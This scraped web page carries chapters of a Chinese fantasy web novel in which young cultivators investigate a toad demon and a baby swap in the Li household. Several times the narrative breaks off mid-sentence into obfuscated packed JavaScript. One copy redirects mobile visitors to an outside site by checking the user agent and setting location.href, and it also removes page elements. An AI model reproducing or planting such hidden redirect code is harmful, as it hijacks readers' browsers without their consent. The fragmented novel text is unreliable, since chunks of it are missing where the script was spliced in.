伊莲没想到，好不容易遇上的一个人居然来自问道仙府。话说慕道仙宗和问道仙府都列属于四大仙宗，二者相距十万八千里，坐镇人域南北两边。本来是没什么纠葛的，不过二者名字极为相近，总是在世家大族之间多有传言。 有人说慕道仙宗就毁在一个“慕”字上，功利性太强，跟妖修无异，一点都不仙风道骨，不如一个“问”字。不过也有人说修仙本就是逆天改命，“慕”字很好地诠释了修士的一生。 总之慕道和问道，这二者之间多有争论，连带着两家子弟也有点一争高下的意思了。 不过心中所想，不足为外人道，伊莲还是很高兴能结识不同的道友。 “不知小友可曾发觉，这雾城，有妖族出没。” 廖舒意见伊莲点头，不由大喜，“前几日我和小妹路过这里，发觉妖族出没，便想着除妖卫道。我们循着踪迹找上李家，李家女被那妖族纠缠已久，今夜我和师妹设下陷阱，打算除之而后快。”他不好意思道：“不过因为我和小妹都是第一次独自来到俗世，又是第一次除妖，所以带的灵石不够。伊小友，能否向你借点灵石？” 说完这话儿，廖舒意的脸颊已经红透了。毕竟任谁都觉得，他会是个有借无还的骗子。 不料伊莲听到这话大喜，直接答应了，不过有个要求：“你们要带上我，我可以免费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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廖舒情财大气粗，“对。就是你修为太低，不知能不能用。”伊莲生怕她反悔，连忙收到自己的乾坤袋里：“能用能用。” 她喜不自禁，随随便便遇到一个道友就能送出这么珍贵的法器，她真是走了狗屎运。要知道，仙宗里那些长辈送东西也是看自己的修为年龄的，比如有些好法器，送她也没用，自然就送给别人了。 难道廖舒情就是她的机遇？思及此，她立刻化身跟屁虫，盼着廖舒情能从指缝里漏一点出来。她怀疑这两个兄妹是问道仙府廖掌门的一双儿女，才能如此大方。 不过，“你们怎么会灵石短缺？” 廖家两兄妹被问到这个问题，二人脸上都不好看，廖舒意支支吾吾半天，还是廖舒情愤懑地解释了缘由。 原来二人出门遇到一个散修。三人结伴出行，不料半途那散修说自己老母突发病重，需要灵石去找医谷找医术高明的医修，骗光了二人总计十万颗灵石。本来他们都没发觉自己被骗，直到传讯玉简里再也不能联系上他，这才恍然大悟。 十万颗！ 伊莲几乎要哭了，这得是什么样的家底，真是人傻钱多。 很快三人商谈作战计划，今夜廖舒情将利用一件能调换人气息的天阶法器，把自己伪装成李念，在她闺房里守株待兔。一旦入梦，就在那梦中杀了那妖族。廖舒意则守在二人开战时前去帮忙。至于伊莲，她则被分到真正的李念那去。如果出了什么意外，她也不必惊慌，用法器保护好自己，廖舒意也会及时赶到。 按照几人猜测，这个妖族修为应该不高，否则早就直接动手伤人，何必在梦里弄虚作假。 深夜，李家一家子主仆都聚集在大堂里，烛火通明。伊莲坐在李念下手位置，上方李家老爷和夫人深色惊恐，满面忧愁，他们越发觉得那两个兄妹术士不靠谱，不知道从哪里搞出来一个七八岁的小女孩，还美其名曰保护他们。这是在开什么玩笑！ 李念更是惊弓之鸟，因为梦里女童的缘故，李家已经好久没出现女孩了，可是现在伊莲就这么大咧咧地坐在她身边，她几乎要怀疑自己已经在梦里。她让仆从们围着她形成一圈，尽力隔开二人。 伊莲也如坐针毡，她哪哪觉得都不对劲，索性站在门口垫着脚朝东院闺房那边察看。 太安静了。还没开打吗？ 她刚刚来大堂途中，看到一个被封死的水井，周边似乎有些残留的妖族气息，她耐不住自己的好奇，决定亲自去看看。 “你打算去哪儿？”李念拦住她，烛光下，她的脸因为极度惊恐而扭曲，一半在光中，还有一半，如同蛰伏的野兽，藏在阴影里。 伊莲被吓了一跳，说道：“水井。” 听闻此言，李家所有人全部不约而同地转头望向她，更加惊惧。 “你到底是谁！”李夫人突然大喝一声，不待伊莲回答，李念大喊：“爹娘！我知道了，她就是那妖物！” “抓住她！抓住她！” 随着李念一声令下，所有的仆役们犹如一条条恶狗都扑向伊莲。 4. 第 4 章 伊莲被眼前这一变故惊呆了，她一头雾水，按耐住反击的想法，任由这群人把她捆住。不过她用上了玉镯，落在她身上的拳头就跟柔和的水一样散开了，还颇为舒服。 她一转头，就和李念幽怨的目光对上，宛若一个厉鬼一样，李念疯狂地扯着自己的头发，满脸是血，疯狂咆哮：“一定就是她！一定是她，兰兰回来了，爹娘，兰兰回来找我们索命了。” 李老爷和李夫人听闻这凄厉的叫喊，更是吓得几乎要肝胆寸裂。 “把她送回水井，送回水井！” 那些仆役们发现他们不管怎么打伊莲，都伤害不到她后，一个个吓得哭爹喊娘。李老爷恶狠狠踹了管家一脚，那管家如梦初醒，拿来一条毯子，把伊莲从头到脚包起来，扛着她去水井那儿。 身后乌泱泱地跟着一大群人。 伊莲没有挣扎，她倒要看看这群人要搞什么鬼。兰兰是谁？他们一定是做了什么亏心事。 一群人来到水井边，就见原本封起来的井口再次打开，一年多来，他们快要习惯了。原本是管家打算把伊莲扔下去的，但是李念突然拦住他，接过伊莲。 她神色癫狂，绝望之下涌动着复杂的情绪。 “兰兰，不要恨我。你既已死，就不该再贪图人世，娘亲会找雾城最好的道士为你做法三天，你啊，就回去吧。”说罢，她手一松，横在井口的伊莲直直坠下。 “你们在干什么？”突然一道少女凌厉的质问声划破天空，一个水蓝色的影子瞬息之间出现。 跟在少女后头的廖舒意眼睛微眯，眼神流转之间已然有几分猜测。 廖舒情手里甩着一根鞭子，这是戒律堂长老用来打人的鞭子，名为戒律鞭，她和哥哥从小没少挨打。她总是不服气，后来索性在长老行刑时抢了他的鞭子占为己用。 眼下看到这群凡人居然把她刚认的小妹扔下水井，怒火中烧，也不管这些凡人能不能承受，举起鞭子啪啪啪地当头甩过去。 李老爷夫妇和李念首当其冲，鞭子一下去，华丽的衣裳立即碎裂成几块，殷红的血汩汩流出，几人吃痛，恢复理智，立即求爷爷告奶奶地求饶，连说伊莲就是那妖物。 廖舒情更气了，鞭子打破空气的爆破音几乎要响彻天际，最后这一大群人被打得蜷缩在地上，痛苦地呻.吟着。 廖舒情抬起的手臂“啪”一下被哥哥廖舒意拦住，他安抚似的捏捏她的手，示意救人要紧。二人来到水井边，就见伊莲好好地站在井中央。原来这口井早已干掉，变成了枯井。 二人翻身下井。伊莲直勾勾地盯着地上一块发黑的血，指给二人看：“兰兰是李念的女儿，被他们扔下井了，难道这就是她们梦中出现女童的原因吗？” “上去审一审就知道了。”廖舒情毫不在意。 伊莲：“刚刚我看到这口井明明是被封起来的，但是现在它变回一口枯井，我怀疑这可能是那妖族的老巢。” 兄妹两一听这话来了兴致，细细搜索起来，不过最终却毫无发现。“我们在那闺房里等了许久，也不见妖族入梦，这才赶到你这边。你说那妖族会不会被我们惊扰到，躲起来了。” 没有人知道答案，现在或许这上头的人能稍微解答一二，问清楚妖族入梦的原因也不错。 廖舒情不愧是审问的一把好手，不过几个回合，这李宅上到李老爷下到一只猫的嘴都被她撬开了。 原来李念有一个女儿，叫李兰兰，不过一年前失足摔下井死了。李家本来就因那怪梦害怕女童，对李兰兰态度本就不好，一直认为是她的降生带来噩梦。在看到李兰兰总是对着枯井自言自语后，李念对她的厌恶愈加严重。 一年前，李兰兰又对着枯井说话，身形弱小的她靠着井弯腰，伸手似乎是想够什么东西，但是一个没注意翻了下去。 大家都听到了她的哭喊声，连忙去救李兰兰。冬日冷风刺骨，受伤的李兰兰哭喊着要喝水，她一个人在井底待了大概一个时辰。等到救上来时，身体已经僵了。 从始至终，李念都呆在她的院子里，只有李夫人守在井边垂泪。李念本来以为李兰兰消失就好了，这件事之后，她命人把井封了，却不想原来十分不起眼的枯井在这以后变得恐怖异常。不管封多少次，等到次日，总会恢复原样。 而且她的怪梦并没有消失，梦里的女童似乎更加狰狞，鲜红的裙子和血一样飘到她的面前，她躲不开。 于是在见到和李兰兰差不多年岁的伊莲后，她惊恐万分，直觉告诉她，伊莲就是李兰兰所化，来寻她索命了。 * 听完这个故事，三个人为李兰兰叹息的同时反而更加迷惑了，他们原本以为是因为李兰兰的死导致李念的怪梦。但是没想到怪梦是在六七年前，李兰兰是在一年前离世，是怪梦导致李兰兰的死亡。 “你们说，那李兰兰对着枯井说话，会不会就是对那妖族说话？”廖舒情猜道。伊莲点头如捣蒜，“要是李兰兰活着就好了，或许我们能问问她。” 虽然廖氏兄妹十分鄙夷李家人的做法，但是毕竟之前已经答应要除妖，而且这李兰兰的死，一定程度上也是因为这妖族，所以廖家兄妹两还是决定要铲除这妖孽。 此时听闻伊莲的话，廖舒情眼睛一亮，催促着哥哥廖舒意拿出乾坤袋，一阵摸索后取出一个铜黄色的法器，是一张编织奢美的网，“这个叫如意梦，可以见到一些残念，我们现在去李兰兰的墓那儿，或许能知道些什么。” 几个人说干就干，也不管已经折腾了一整晚，兴冲冲地去找李兰兰。 李兰兰的墓很小，而且应该是找了道士做法，透露着一股不详之气。纵使伊莲对陌生人毫不怜悯，此刻也为这孩子的遭遇叹气。廖舒意施法，轻盈的月色下，如意梦散发着柔和的光辉，慢慢的，一个小小的虚影在网中浮现。 小小的影子在网中挣扎了一会儿，叫道：“娘亲。”她抱着自己的肩膀，如同全天下的稚子一般，希望她的娘亲出现。 可惜，她注定要失望。 “小妹妹，你在枯井下和什么东西讲话了？”廖舒情深知李兰兰年幼，如意梦坚持不了多长时间，直接问。 李兰兰跟没听见一样，还是叫着娘亲。廖舒情有些着急，“小妹妹，你还记得那口井里有什么东西吗？” 李兰兰长得十分像她外婆，几乎是一模一样的脸。听闻廖舒情话语，总算有点回应，虚影在月色下晃了晃，她还搞不清目前的状况，懵懵懂懂地抬头。 “一只金蟾。” 众人面面相觑，伊莲对妖物了解不多，转头望向廖家兄妹。兄妹两也摇摇头，表示并不知情。妹妹廖舒情正要再问。李兰兰却不肯了，她开始哭喊着想喝水，拼命地想挣开如意梦。随着她剧烈的动作，她的身形也开始一点点消散。 “要喝水，要喝水！我想喝水，娘！” “给我水喝！”她越来越生气，拖动着如意梦来到伊莲面前，晃动着她的袖子，“水！” 这一声凄厉可怖，连带着她的小脸变得灰黑狰狞，伊莲手背上很快多了几个黑色的伤口。 廖舒情见状，连忙撤下如意梦，几个人无能为力，眼睁睁看着李兰兰在喊出最后一句水后，彻底消散。 三个人都陷入沉默中，廖舒情突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“情情。”廖舒意割开自己掌心，几滴饱满红润的血珠飞到空中，廖舒情不愿意喝他的血，偏着头想躲开，廖舒意神色沉了下去。没办法，廖舒情乖乖张嘴，血一入腹，她运用灵气周转至全身，很快就恢复了。 伊莲看得啧啧称奇，“我知道，这是廖氏秘法！仅限双胎使用。” 廖舒情翻个白眼，“这个秘法一点也不好，血太难喝了！”廖舒意赏她一个爆栗。 “几位修士，小的有眼不识泰山，能不能放过我？”那只四脚朝天的蟾蜍憋不住了，哀求道：“小的只是一个微不足道的妖族，来人间讨口饭吃而已。” 伊莲觉得有趣，接过鞭子，跟钓鱼似的抛来抛去，那金蟾害怕地大叫起来：“小的从无害人之心啊！几位尽可明鉴。” “胡说，刚刚你还想偷袭我们。”廖舒情摘了一朵狗尾巴草，用毛茸茸的那头刺挠金蟾，那金蟾再也承受不住，居然嚎啕大哭起来。 “我命苦哦！我刚刚只是以为你们要伤害李兰兰，一时冲动才会出手的。”声音之悲愤，让三个人都打起鼓来。 伊莲把金蟾放到地上，免得他在多受苦，不过语气仍然严肃，威胁道：“细细说清楚你为什么要纠缠李家女，不然把你扒皮钓龙虾。” 那金蟾跟个人一样坐着，还拿一只脚擦眼泪，娓娓道来：“我叫李金金。” “你还有名有姓？”廖舒情惊奇不已，又拿狗尾巴草戳戳金蟾。李金金拖着臃肿的身体艰难地往旁边动了动，“这个是我让李兰兰给我取的名字。我是一只以恐惧为食的金蟾，所以俗世才是我最好的修炼之地。七年前，我路过李家时，发现有些不对劲，感觉可以在这里收获更多的恐惧，索性就住下来。” “哪不对劲？”伊莲追问道。 月色下，那金蟾抬起脑袋，就和俗世说闲话的凡人一样，四处张望，确认没人后，才对几人耳语：“李兰兰不是李念的女儿，是李夫人的女儿。” 5. 第 5 章 听闻金蟾这番话，三个人探头探脑，目露怀疑，廖舒情突然一把举起鞭子，“敢骗我，我要把你摔死。” 那蟾蜍被吓得六神无主，四条腿在空中倒腾，求饶道：“姑奶奶，我骗你干嘛啊！我说的都是真的啊！要不是因为这个，我还不会留在李家呢！” 伊莲狐疑：“你是如何知晓这件事的？” 有些大能的确能一眼认出自己的血脉，但是一个小小的妖族，也有这般本事吗？ 金蟾重新落回地面，心有余悸地拿一只脚拍拍心口，“三位修士有所不知啊，就因为以恐惧为食，我混迹人间已经几百余年，这期间见识过各种奇闻轶事，也早就练出了火眼金睛。哪家汉子在外面偷女人、哪家妇人偷男人，哪家孩子是孽种、哪家老人是上吊自杀其实是被孩子所害，哪些人心里有鬼，这些，我一眼就能看出来。” 三人脑袋凑到一起，聚精会神地听八卦。 那金蟾颇为得意，跟说相声似的，力图讨好这几位。 “那李念的丈夫是个懒汉，吃喝嫖赌样样精通，偏偏又是个赘婿。他以为拿捏住了李念，哪知道李念快生时一纸休书把他赶了出去。本来这些都没什么，我都不知道看过多少对怨偶了，觉得无聊，想着在李家待上几日就走。哪知李念肚子发动，生了个胖乎乎的女娃。” 金蟾陷入回忆，叹了口气，“那女娃出生那日，我还去看了她，冰雪聪明的一个婴儿，能看到我，我吓唬她时她还冲我笑。哪知又过几日我再去看她，那襁褓之中居然换了一个婴儿！刚出生的婴儿长得都差不多，若非我火眼金睛，怕是也要被蒙骗过去。” “李家所有人都不知道孩子已经被换了，他们给她取名李兰兰，都认为那就是李念的孩子。我觉得有古怪，于是开始监察她们，然后我就发现那李兰兰是李夫人的亲生孩子。” “她为什么要那么做？”廖舒情不解。 “李夫人怀孕没人知道吗？她是在哪里分娩下婴儿的，又是如何能偷偷狸猫换太子的？”伊莲追问，她还是不怎么相信这个故事。 “我哪里晓得哦！我当时在睡觉呢。反正李兰兰绝对是李夫人的亲生女儿，至于她如何能骗过那些仆人的，这个简单，你们没发现那李夫人是个大胖子吗？我当初见她，压根就不知道她怀孕了。想来她和李念差不多同一时间有孕，生下李兰兰后偷偷藏起来，在李念女儿出生后就换了两个婴儿。至于为什么这么做，那想都不用想，她偷男人了呗。” 伊莲：“那李念所生，是她的亲孙女，她用自己的女儿偷换亲孙女，这也太没有道理了。难道她一点不在乎亲孙女？” 蟾蜍显得无所谓：“有啥好在乎的，比这更过分的我都不知道见过多少，有些男人，甚至还会杀了自己的亲骨肉，就为了能和自己的情妇在一起。李夫人比起他们，都算有良心的了。” 廖舒意有点疑惑：“这个故事，和你后面的所作所为有什么关系？” 那蟾蜍就是要引入自己所做为何，闻言笑道：“几位小友，只要这家里出了丑事，我只要利用他们的愧疚之心稍加吓唬一下，那恐惧就犹如春日里的蒲公英，滋长得到处都是，对我的修为大大有益。几年来，我时不时入梦，把李念吓得屁滚尿流，我都快突破境界了。” 伊莲发现了盲点：“你为什么只吓唬李念，难道李念知道李兰兰不是她的女儿，而是她的妹妹？” 这个问题难住了金蟾，它像模像样地摇摇头，“谁知道呢，我吓唬过每个人，只有李念最不经吓，那么我自然是要用最小的努力，获取最大的恐惧。” 三个人都沉默了，片刻后，廖舒情提出了所有人都想知道的一个问题：“那李念的亲生女儿去哪里了？” 蟾蜍也陷入了沉默，对于这个问题的答案，恐怕只有亲手换了婴儿的李夫人才知道。 “我们去问问她吧？”廖舒情对于这种秘事很感兴趣，她目光直勾勾地盯着哥哥，央求道：“去问问。” 廖舒意果断摇头：“情情，这件事与我们无关。我们来到俗世，只为除妖。” 那蟾蜍一听到“除妖”二字，吓得两股颤颤，泪流满面：“几位道友，我从来没有害过他们，充其量只是吓唬而已。不至于要除掉小妖吧？苍天可鉴啊！”这蟾蜍不知在人间混了多久，指天发誓大哭大闹一言不合就要上吊的本事全学了去。 初入俗世的三人哪里是它的对手，就连廖舒情，也把自己的鞭子收起来，免得这臭蟾蜍要用她的鞭子上吊。 三人背过身去商量了好一会儿，觉得这蟾蜍说的有道理，一开始他们本就以为有妖族要伤害李家才答应除妖，但是此妖的确没做什么伤天害理的事，那就没必要徒增杀孽。 “你——”廖舒情手撑着伊莲的肩膀，下巴微扬，对那蟾蜍道：“死罪可免，活罪难逃。” 伊莲大声应和，“对！”活像一个小走狗。廖舒情好笑地捏捏她的肩膀。 “你差点把李家人吓死，从明天开始，离开这座城，不管你去哪儿，都不许回来了。” 蟾蜍本来听到活罪难逃，都快被吓死了，没想到处罚就是离开这座雾城，乐开了花：“好嘞好嘞，小的明天就走，再也不会吓唬李家人了。” “滚吧。”伊莲狐假虎威，那蟾蜍连忙消失在夜色中。 “哥哥，我们就去问问李夫人呗，我就是想知道那李念亲生女儿在哪里，她是如何瞒天过海的。” 廖舒意还是不答应；“这是人家家事，你我无权干涉。” 廖舒情不干了：“家事又怎样，我就是要管。”她握着拳头，一副痛心疾首的样子，“难道你不想知道，那个可怜的被外婆抛弃的孩子在哪里吗？” 廖舒意：“丝毫不想。” 俗世的事，能不沾就不沾，避免产生因果。 廖舒情瞪大眼睛，目光落在伊莲身上，就见伊莲也睁大一双眼，二人是臭味相投。 廖舒情笑了，她牵起伊莲的小手，又从乾坤袋里掏出一个法器递给她，“还是伊莲好，诺。” 伊莲佯装淡定地放回乾坤袋里，二人手牵手，头也不回地就走了，只留下风中孤零零的廖舒意。 伊莲二人返回李家，李家灯火通明，大门紧闭，想来被廖舒情一番审问，此刻正是惊弓之鸟。二人如入无人之地，轻松地翻过院墙，率先来到李念院子里。 没有人，估计是在李老爷他们身边。 找了一大圈，伊莲终于在马厩里找到了想出逃的一行人。恰巧李夫人也在，廖舒情捉了母女二人来到东苑，一人问一个。伊莲负责问李念。 李念脸色发白，浑身是汗，今天的一切都让她无比恐惧，尤其又让她和伊莲单独在一起。在门被关上的一瞬间，她吓得厉声尖叫，蜷缩房子的角落里。 伊莲瞬间觉得自己不厚道了，她感觉自己会把李念吓死。 要是被掌门知道了，她估计也得陪上一条小命。于是她后退，尽量离李念远一些，温和道：“李念，我只想问你一些问题，你放心，那个妖族不会再来侵扰你了。我们已经把它打伤，他答应离开雾城了。” 李念不言不语，抱住自己瑟瑟发抖。 伊莲循循善诱：“不过你要告诉我，李兰兰，是你亲生女儿吗？” 李念总算有点反应，露出一张苍白惊疑的小脸。 “李兰兰是你的妹妹，你知道吗？你母亲把你的孩儿换了。” 橘色的烛光落在李念身上，她垂下眼眸，敛去所有神色，“我不知道你在说什么，李兰兰是我亲生的，你是从哪儿听的谣言？” 如此反应，伊莲一时之间也无法确定她是否是在撒谎。她接着引诱道：“你知不知道你的亲生女儿在哪里？” “我娘只有我一个孩子，从来没生过其他人，李兰兰就是我生的。”李念没有之前那么害怕了，慢慢说道。 “是吗？那你为什么对李兰兰没什么感情呢？她跌落枯井你都不去看她，只有你娘在。她死前最大的愿望你知道是什么吗？李念，她想喝水，她想喝水。” 伊莲有些气愤，想到那个可怜的小女孩摇着她的手说要喝水，不由斥道：“你一点不爱她。因为你知道，她不是你亲生的。” 李念低着头，指甲因为用力陷进皮肤中，掐出一股血来。 “我不知道，她就是个讨债鬼，自从生了她，我就噩梦不断。我从来没有对不起她！” 接下来不管怎么问，李念都坚持说自己不知道。伊莲怀疑她可能的确不知道，毕竟这个换子计划的确有些匪夷所思。那么突破口只能放在李夫人身上了。 廖舒情那边，她本以为自己很轻易就能把李夫人降服，让她说出真相。不料几鞭子下去，李夫人硬是咬牙挺过去，怒斥她在胡说，她从来没生过什么孩子。 凡人很少能撑过五鞭，廖舒情怕把她打死，也没招了，于是她和伊莲会和。二人都没问出什么，不由怀疑那臭蟾蜍是在骗她们。 不过很快他们就找到李老爷，这家伙是知无不言言无不尽。 廖舒情觉得伊莲的审问方式过于柔和，决心传授一点技巧。她把鞭子递给伊莲，挑眉：“用这个，死人都能开口。” 伊莲婉拒了，活生生的人被鞭子抽得皮开肉绽，鲜血直流，她看得直打怵，总能代入自己。反正李老爷已经被打怕了了。 伊莲把前因后果都告诉李老爷，李老爷也是打死不信，不过看到二人，一个是凶神恶煞，一个是面无表情，他还是怂了，努力回想当初李念生产那段时间。 “陈氏一直很正常，在念儿快要生产那段时间，更是事事操劳。若她有孕在身，何苦瞒我？” “肯定是你这个老男人不中用了，她另寻新欢了啊。”伊莲语不惊人死不休。 李老爷忍了，“成亲几十载，我们一直相敬如宾，偶尔陈氏因为其他女人吃醋，不过也没什么，女人吗，都那样。若说有什么不对劲的，就是那段时间她主动给我纳了个姨娘，我便一直憩在姨娘那儿，很少去她那边睡。” 伊莲和廖舒情对视一眼，眼神玩味。 李老爷：“念儿生产前，陈氏为了祈福去寺庙拜佛，在山上待了几日。不过回来时路上感染了风寒，卧床休息了一段时间。兰兰出生后她就好了，一直在尽心照料。她绝对不可能偷男人，更不可能偷梁换柱。” 其实说到后面，他自己都怀疑起来。毕竟当时，一切都是陈芸打理的，而且李兰兰长到三个月时，抱过她的人一眼就说她和陈芸长得像。 李老爷陷入自我怀疑之中，陈氏一直很爱他，怎么可能呢？而且从拜佛到念儿生产，总共不过十来日，女人生产调理，最少也要一个月的时间，就说念儿，当初生兰兰，足足休养了三月之余。 不过他突然想到那段时间，他腻歪了那个姨娘，想着再到陈氏那儿去。不过她一直推脱，不是说来了月信，就是说照顾兰兰太累，腰痛需要针灸，大夫不让同房。后来他恼了，强行去她那儿歇着，不过最后被一壶酒灌醉了。 种种迹象，陈氏似乎真的偷男人，还生了个孽畜出来。 那个奸夫是谁？会是谁！ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648647|156580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李老爷不敢置信，这个毒妇！他火气冲天，此时碍于面前术士也只能忍着。 伊莲见状，和廖舒情耳语一番，李老爷知道了真相，等她们走了，必定会逼问李夫人，明日再来，或许他们就能知道一切的真相。 天色已经不早，伊莲先决定回去歇息了，廖舒情与她住同一个客栈，二人便都决定打道回府。 李老爷恭恭敬敬地送二人离开，就在他想着如何狠狠惩罚陈氏时，就见那个女童回头。 她笑嘻嘻地对他说：“要是明日我来，见到李夫人身上有伤，我会成倍还给你的哦。” 李老爷一惊，连忙否认，“怎会，鄙人一定问出真相，告知二位。” 伊莲和廖舒情手挽着手回去了，此刻快到清晨，路上已经有人摆摊，伊莲买了两个包子一块烧饼。廖舒情则买空了几个摊子，估计得有百来个包子。 她爽快道：“我和哥哥胃口比较大。” 伊莲怀疑自己买少了，于是也多买了十来个，两人回到客栈各自分别，伊莲打开自己的房门，明显感觉一道冷冰冰的视线刷一下落到她的身上。 她头皮发麻，略有点心虚，假装无事发生，“饿了吧，我买了好多包子，快来吃。” 江黎冷冰冰地盯着她，他小小的一个人，被绑着坐在床上，白皙精致的小脸面无表情，黑眸就像是深夜的大海，对视一眼，就会被吸入其中。不过不是平静的海面，而是狂风作浪的大海。 在他的威压下，伊莲慢吞吞地解开他的绳子，双手捂住他冰凉的小手给他取暖，“你都不知道今天有多危险，幸好你没去，师弟。师姐我啊，真是世界上最好的师姐，哪怕是有一丁点的危险，我都不会让你去面对的。你说我对你好吧？你就是提着灯笼找出八百里，都找不到我这样的人。” 绳索落地，伊莲飞快拉开距离。 江黎没有预想中的暴怒，他从床上跳下来，小小的身板站在原地。 伊莲还以为他变了性子，不过很快，江黎就恶狠狠地朝伊莲飞扑过去，伊莲伸手想挡，但是江黎撞过来的力气太大了，她直接被江黎撞翻在地，脑袋痛，后背也痛，眼前直冒星星。 她想推开压在身上的江黎，手却被他推了回去，力度之大，直接撞在肋骨上，她岔了气，疼得眼泪直流。 “江黎！”她喊道，“我回去要告诉师父，你欺负我！” 江黎尤不解恨，他的面容变幻，低头的那一刹那，露出了锋利尖锐的獠牙，闪着寒光。 与之前的打闹完全不一样，伊莲感觉到了强烈的杀气。她心一惊，拼命地挣扎起来，反客为主，在江黎咬向自己之前率先咬住他的手臂。 血的味道在她嘴里弥漫开来，她头皮发麻，不知道接下来该如何应对时，江黎居然晕过去了。 伊莲推开他，这才发现他的身体滚烫，小脸泛着不正常的红晕，明显是发烧。她推推毫无动静的江黎，突然觉得很愧疚，他身上有暗伤，之前还昏倒过，现在没吃没喝地被绑了一夜，如果换做是她，她也不会善罢甘休的。 不过在愧疚之余，她仍觉得心有余悸。那股杀意，她从未在其他人身上感知过，这个反派，刚刚是真的想杀她。她五味杂陈，想想还是抱起他去到对面医馆。 老大夫很有经验，江黎很快醒来，他死亡凝视了伊莲好一会儿，一句话未说，回到客栈。 接下来的一整天，伊莲都在想办法修复二人的关系，不过江黎是吃了秤砣，理也不理她。 而且伊莲觉得，深藏在他内心深处的，远没有他表面那般平静。 二人的关系几乎是降到了冰点。 到了晚上和廖舒情约定好的时间，伊莲想了想，还是邀请了江黎，江黎以沉默拒绝，伊莲无奈放弃了。 “小莲儿，我们走。”廖舒情干劲十足，由于只是去打听八卦，三人都比较放松。廖舒意本来是不想去的，但是耐不住妹妹一直求他，还是勉强答应一同前往。 三个人本来还有说有笑的，但是渐渐的，安静下来。她们顺着大街一直走，在快到李家时，不约而同地停下脚步。 太安静了。 本来李念受怪梦袭扰，不管多晚，李宅都是挂着灯笼的，但是现在，所有的灯笼都被撤下了。 就算他们昨天说那妖怪已经走了，也不至于今天就完全不怕。 “难道是跑了吗？”廖舒情抽出鞭子，试探着朝前走了几步。 廖舒意眉心微拧，站到妹妹身边。 伊莲环绕四周，她刚刚就发现，其实不止李宅，今日的夜晚比前几日都安静，刚刚来时的路上也毫无人影，整个东市像是一座鬼城。 “我们回去吧。”她佯装镇静道。 廖舒情不肯，“我倒要看看，这家人耍的什么花招。”说罢，她一脚踏上李宅府邸的台阶。 在接触到台阶的那一刹，廖舒情就像是进入了异空间，消失不见。廖舒意伸手想拉她，不过一瞬，也凭空消失。 偌大的宅邸前，唯有伊莲孤零零地站着。 她逼迫自己冷静，尽量不发出任何声音，以最快的速度逃离这片诡异的街道。 砰。 眼前空无一物，她却撞到了什么东西。 现在明明是炎热的夏日，所有的街坊建筑却像是被涂上一层青银色的冷铁，散发着寒气。她被冻得发抖，试探着伸手，果不其然，有一层结界。 不论往哪个方向走，都遇到了阻碍。她转过身凝视着李宅的大门，犹豫了会儿，寻出自己的法器，一脚迈进李家。 6. 第 6 章 伊莲并没有进入李家，而是进入了一间光秃秃的石室，什么都没有。 能在李家布置下这种陷阱的，能有谁？昨日那个蟾蜍吗？可它明明弱的不行，被廖舒情一鞭子抽成重伤了，难道在李家，还隐藏着一个他们都未曾发觉的大妖吗？ 这间石室对她的修为有压制作用，她取出玉镯戴上，在石室里待了许久。 不管背后之人是谁，肯定都会主动找上门来。 她等啊等，本来是站着的，后来改为坐着，最后甚至躺下来，等到口干舌燥也没人出现。 怎么回事，难道是想饿死她？这么怂的风格，她又不禁怀疑起那只蟾蜍。 扮猪吃老虎？ 她掏出传讯玉简，注入灵力后，联络师父的那个光点亮起一点朦胧的荧光。她喜出望外，没想到还能用！ 正当她准备说话时，一股凌厉的罡气从右边袭来，玉简被击碎成了几块，她的右手也被拉了一道口子，鲜血汩汩地往外涌。 “是谁？你只敢偷袭别人，不敢正面相见吗？”伊莲气急败坏，朝着空气嚷嚷，“臭蟾蜍，是不是你，给老娘滚出来！” 空中果然传出昨日那只蟾蜍的声音：“乳臭未干的黄毛丫头，叫你一声修士你还真把自己当根葱了，老子劝你，洗洗干净脖子准备受死吧！” 伊莲心沉入谷底，问道：“其他两个人呢？” 蟾蜍十分得意：“死了。” 伊莲：“不可能！你个臭不要脸的，连小孩都打不多，还要躲起来，有本事你现在就出面杀了我！” 蟾蜍恼羞成怒，空气中又是几道凌厉的罡风，伊莲有所戒备，躲过了其中几道。躲不过的被手镯激发的屏障挡了下来。 伊莲：“你个死蟾蜍，你可知我是谁，若我折在你手里，我师门绝不会放过你！你现在最好把我放了！” “黄口小儿，死到临头还挺狂妄。死在我手里的修士不计其数，老子活得比谁都滋润。等到果子成熟，老子就能步入金丹了，哈哈哈。”蟾蜍骂道，“你就在这里安心受死吧。” “你们两个，我要把你抽筋剥皮，用鞭子吊起来抽！” 这一句明显不是对伊莲说的，应该是蟾蜍在和廖舒情对骂，它声音小了许多，方向也不是从原来的方向传来的。 而且接下来不管伊莲这么挑衅，蟾蜍都没有露面，应该是注意力都在那兄妹两身上。 伊莲从乾坤袋里取出一个千斤锤，注入灵力后开始猛砸石室。 坚固的石壁轻微晃动了一下，伊莲再接再厉，拿出吃奶的劲儿，很快，一道道裂隙出现在石壁上。 砰！ 石壁被伊莲凿出一个洞来，她顺着这个洞来到另一个石室，也是空荡荡的。伊莲别无他法，在这间石壁里继续凿，一锤子砸下去，一阵激烈的争吵声传来。 伊莲耳朵贴着石壁偷听。 “就许你找女人，不许我找男人？我告诉你，你睡过多少个姨娘，我就睡过比你还多两倍的男人！”嘶哑的女声咆哮着，又似乎在流泪，随之而来的是男人愤怒的吼叫。 